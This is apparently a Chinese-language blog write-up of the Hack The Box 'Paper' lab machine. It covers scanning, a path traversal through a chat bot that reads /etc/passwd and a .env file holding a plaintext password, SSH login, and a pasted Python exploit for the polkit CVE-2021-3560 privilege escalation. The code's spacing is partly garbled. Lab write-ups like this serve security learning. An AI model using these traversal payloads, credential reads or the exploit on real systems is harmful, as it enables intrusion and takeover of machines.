banner
[面包]MrTwoC

[面包]MrTwoC

你好,欢迎来到这个基于区块链的个人博客 名字:面包 / MrTwoc 爱好:跑步(5/10KM)、咖啡、游戏(MMORPG、FPS、Minecraft、Warframe) 兴趣方向:Rust、区块链、网络安全、量子信息(量子计算)、游戏设计与开发
bilibili
steam
email
github

[記模擬滲透]-Htb-Paper

開始時間:
2022 年 4 月 5 日 10 點

msf6 > db_nmap -T4 -A -v 10.10.11.143
掃描到開放端口:
22
80
443
nmap -sV -A 10.10.11.143
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
80/tcp open http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
443/tcp open ssl/http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)


image.png
打開網頁後,發現,沒有有用的價值
image.png

打開 F12,看看有啥好東西
image.png

在 hosts 裡加上 (作用目前不知道。。不加就不能訪問)
10.10.11.143 office.paper

打開後發現
image.png
image.png
在頁面底部發現與 wordpress 有關
使用 wpscan 掃描一下
wpscan --url http://office.paper/
image.png

WordPress 版本為 5.2.3
image.png

百度一下有沒有可利用的東西
找到了這個 Exploit
image.png
http://office.paper/?static=1&order=asc
返回 404
image.png

刪掉 & order=asc 再次嘗試
http://office.paper/?static=1
看到一個文章
image.png

看看內容。。。
發現這麼一個內容
# Secret Registration URL of new Employee chat system
http://chat.office.paper/register/8qozr226AhkCHZdyY
image.png

再次 hosts 裡,
加上 chat.office.paper
訪問地址
http://chat.office.paper
image.png
image.png

地址改成
http://chat.office.paper/register
404 了。。
直接訪問原地址
http://chat.office.paper/register/8qozr226AhkCHZdyY
發現註冊頁面。。註冊一個呗
隨便寫一下
image.png
image.png

馬上就來了個消息
image.png

bot? 什麼玩意

image.png
image.png
這裡提到有人在該頻道中添加了一個新的機器人,只需要輸入 recyclops help 機器人就會告訴你可以做什麼

漏洞利用#

目前可知的信息

  1. 我們有了可以互動的機器人 recyclops
  2. 機器人可以幫我們獲得文件
  3. 我們無法在頻道內發言

OK,到這裡思路就很清晰了,我們去找機器人私聊

這裡要求他讀取 test.txt 文件
回覆文件 /home/dwight/sales/test.txt 文件不存在,嘗試一下是否可以路徑穿越
image.png
image.png

這邊構造了一下路徑,成功獲得 /etc/passwd 文件
12:49 AM
recyclops file ../../../../etc/passwd
Bot
12:49 AM
<!=====Contents of file ../../../../etc/passwd=====>
root❌0:0:root:/root:/bin/bash
bin❌1:1:bin:/bin:/sbin/nologin
daemon❌2:2:daemon:/sbin:/sbin/nologin
adm❌3:4:adm:/var/adm:/sbin/nologin
lp❌4:7:lp:/var/spool/lpd:/sbin/nologin
sync❌5:0:sync:/sbin:/bin/sync
shutdown❌6:0:shutdown:/sbin:/sbin/shutdown
halt❌7:0:halt:/sbin:/sbin/halt
mail❌8:12:mail:/var/spool/mail:/sbin/nologin
operator❌11:0:operator:/root:/sbin/nologin
games❌12💯games:/usr/games:/sbin/nologin
ftp❌14:50 User:/var/ftp:/sbin/nologin
nobody❌65534:65534 Overflow User:/:/sbin/nologin
dbus❌81:81 message bus:/:/sbin/nologin
systemd-coredump❌999:997 Core Dumper:/:/sbin/nologin
systemd-resolve❌193:193 Resolver:/:/sbin/nologin
tss❌59:59 used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin
polkitd❌998:996 for polkitd:/:/sbin/nologin
geoclue❌997:994 for geoclue:/var/lib/geoclue:/sbin/nologin
rtkit❌172:172:RealtimeKit:/proc:/sbin/nologin
qemu❌107:107 user:/:/sbin/nologin
apache❌48:48:Apache:/usr/share/httpd:/sbin/nologin
cockpit-ws❌996:993 for cockpit-ws:/:/sbin/nologin
pulse❌171:171 System Daemon:/var/run/pulse:/sbin/nologin
usbmuxd❌113:113 user:/:/sbin/nologin
unbound❌995:990 DNS resolver:/etc/unbound:/sbin/nologin
rpc❌32:32 Daemon:/var/lib/rpcbind:/sbin/nologin
gluster❌994:989 daemons:/run/gluster:/sbin/nologin
chrony❌993:987::/var/lib/chrony:/sbin/nologin
libstoragemgmt❌992:986 account for libstoragemgmt:/var/run/lsm:/sbin/nologin
saslauth❌991:76 user:/run/saslauthd:/sbin/nologin
dnsmasq❌985:985 DHCP and DNS server:/var/lib/dnsmasq:/sbin/nologin
radvd❌75:75 user:/:/sbin/nologin
clevis❌984:983 Decryption Framework unprivileged user:/var/cache/clevis:/sbin/nologin
pegasus❌66:65 OpenPegasus WBEM/CIM services:/var/lib/Pegasus:/sbin/nologin
sssd❌983:981 for sssd:/:/sbin/nologin
colord❌982:980 for colord:/var/lib/colord:/sbin/nologin
rpcuser❌29:29 Service User:/var/lib/nfs:/sbin/nologin
setroubleshoot❌981:979::/var/lib/setroubleshoot:/sbin/nologin
pipewire❌980:978 System Daemon:/var/run/pipewire:/sbin/nologin
gdm❌42:42::/var/lib/gdm:/sbin/nologin
gnome-initial-setup❌979:977::/run/gnome-initial-setup/:/sbin/nologin
insights❌978:976 Hat Insights:/var/lib/insights:/sbin/nologin
sshd❌74:74 SSH:/var/empty/sshd:/sbin/nologin
avahi❌70:70 mDNS/DNS-SD Stack:/var/run/avahi-daemon:/sbin/nologin
tcpdump❌72:72::/:/sbin/nologin
mysql❌27:27 Server:/var/lib/mysql:/sbin/nologin
nginx❌977:975 web server:/var/lib/nginx:/sbin/nologin
mongod❌976:974:mongod:/var/lib/mongo:/bin/false
rocketchat❌1001:1001::/home/rocketchat:/bin/bash
dwight❌1004:1004::/home/dwight:/bin/bash
<!=====Contents of file ../../../../etc/passwd=====>

recyclops list
查看當前有什麼文件,不知道為什麼,會重複一遍
image.png

recyclops list ../

image.png
查看上級文件裡有什麼
好像看到個 user.txt
訪問被拒絕。。
image.png

按照大佬提示,hubot 裡可能有東西
進去看看
image.png
在 hubot 目錄中,有一個.env 文件,我們查看一下這個文件
image.png

裡面的 USER 和 PASSWORD 引人注目
<!=====Contents of file ../hubot/.env=====>
export ROCKETCHAT_URL='http://127.0.0.1:48320'
export ROCKETCHAT_USER=recyclops
export ROCKETCHAT_PASSWORD=Queenofblad3s!23
export ROCKETCHAT_USESSL=false
export RESPOND_TO_DM=true
export RESPOND_TO_EDITED=true
export PORT=8000
export BIND_ADDRESS=127.0.0.1
<!=====End of file ../hubot/.env=====>

想到之前 nmap 掃描到 22 端口開放的 ssh
拿著密碼試一下
成功了
ssh dwight@10.10.11.143
密碼
Queenofblad3s!23
image.png

拿到 user 的 flag
[dwight@paper ~]$ cat user.txt
2407edf932ab536de2617761049efcc5
image.png

=================================================================
截個全圖
image.png
=================================================================

ps aux
看看有什麼進程
image.png
大佬提示 polkitd 有可利用漏洞
msf 掃描知道
CVE-2021-3560
可以利用
msf6 > use exploit/linux/local/polkit_dbus_auth_bypass
image.png

f= open("CVE-2021-3560.py","w+")
利用 python3 創建個 py 文件

將以下 python 代碼寫進 CVE-2021-3560.py 裡
vim CVE-2021-3560.py
按 i 進入插入模式,這裡直接複製
完成後按 esc
再輸入 保存退出
=================================================================

importos
importsys
importtime
importsubprocess
importrandom
importpwd
print ("**************")
print("Exploit: Privilege escalation with polkit - CVE-2021-3560")
print("Exploit code written by Ahmad Almorabea @almorabea")
print("Original exploit author: Kevin Backhouse ")
print("For more details check this out: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/")
print ("**************")
print("[+] Starting the Exploit ")
time.sleep(3)
check = True
counter = 0
whilecheck:
    counter = counter +1
    process = subprocess.Popen(['dbus-send','--system','--dest=org.freedesktop.Accounts','--type=method_call','--print-reply','/org/freedesktop/Accounts','org.freedesktop.Accounts.CreateUser','string:ahmed','string:"Ahmad Almorabea','int32:1'])
    try:
            #print('1 - Running in process', process.pid)
        Random = random.uniform(0.006,0.009)
        process.wait(timeout=Random)
        process.kill()
    exceptsubprocess.TimeoutExpired:
            #print('Timed out - killing', process.pid)
            process.kill()
    user = subprocess.run(['id', 'ahmed'], stdout=subprocess.PIPE).stdout.decode('utf-8')
    ifuser.find("uid") != -1:
        print("[+] User Created with the name of ahmed")
        print("[+] Timed out at: "+str(Random))
        check =False
        break
    ifcounter > 2000:
        print("[-] Couldn't add the user, try again it may work")
        sys.exit(0)
foriinrange(200):
    #print(i)
    uid = "/org/freedesktop/Accounts/User"+str(pwd.getpwnam('ahmed').pw_uid)
    #In case you need to put a password un-comment the code below and put your password after string:yourpassword'
    password = "string:"
    #res = subprocess.run(['openssl', 'passwd','-5',password], stdout=subprocess.PIPE).stdout.decode('utf-8')
    #password = f"string:{res.rstrip()}"
    process = subprocess.Popen(['dbus-send','--system','--dest=org.freedesktop.Accounts','--type=method_call','--print-reply',uid,'org.freedesktop.Accounts.User.SetPassword',password,'string:GoldenEye'])
    try:
            #print('1 - Running in process', process.pid)
            Random = random.uniform(0.006,0.009)
            process.wait(timeout=Random)
            process.kill()
    exceptsubprocess.TimeoutExpired:
            #print('Timed out - killing', process.pid)
            process.kill()
print("[+] Timed out at: " + str(Random))
print("[+] Exploit Completed, Your new user is 'Ahmed' just log into it like, 'su ahmed', and then 'sudo su' to root ")
p = subprocess.call("(su ahmed -c 'sudo su')", shell=True)

=================================================================
執行 py 文件
python3 CVE-2021-3560.py
image.png
執行完成後,拿到 root 權限
image.png
whoami&&id
image.png

=================================================================

在 root 文件夾看到 root.txt
[root@paper ~]# cat root.txt

提交 flag,成功
image.png

完成時間:
2022 年 4 月 5 日 18:56:05

留有問題
msf use post/multi/gather/peass 無法直接使用,缺少模塊
在 github 下載後就可以用了

大佬建議:
1. 首先你得用 msf 獲得一個 shell 先 , 然後在按 ctrl+z 返回再用回裡面的那個指令,
run post/multi/recon/local_exploit_suggester

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。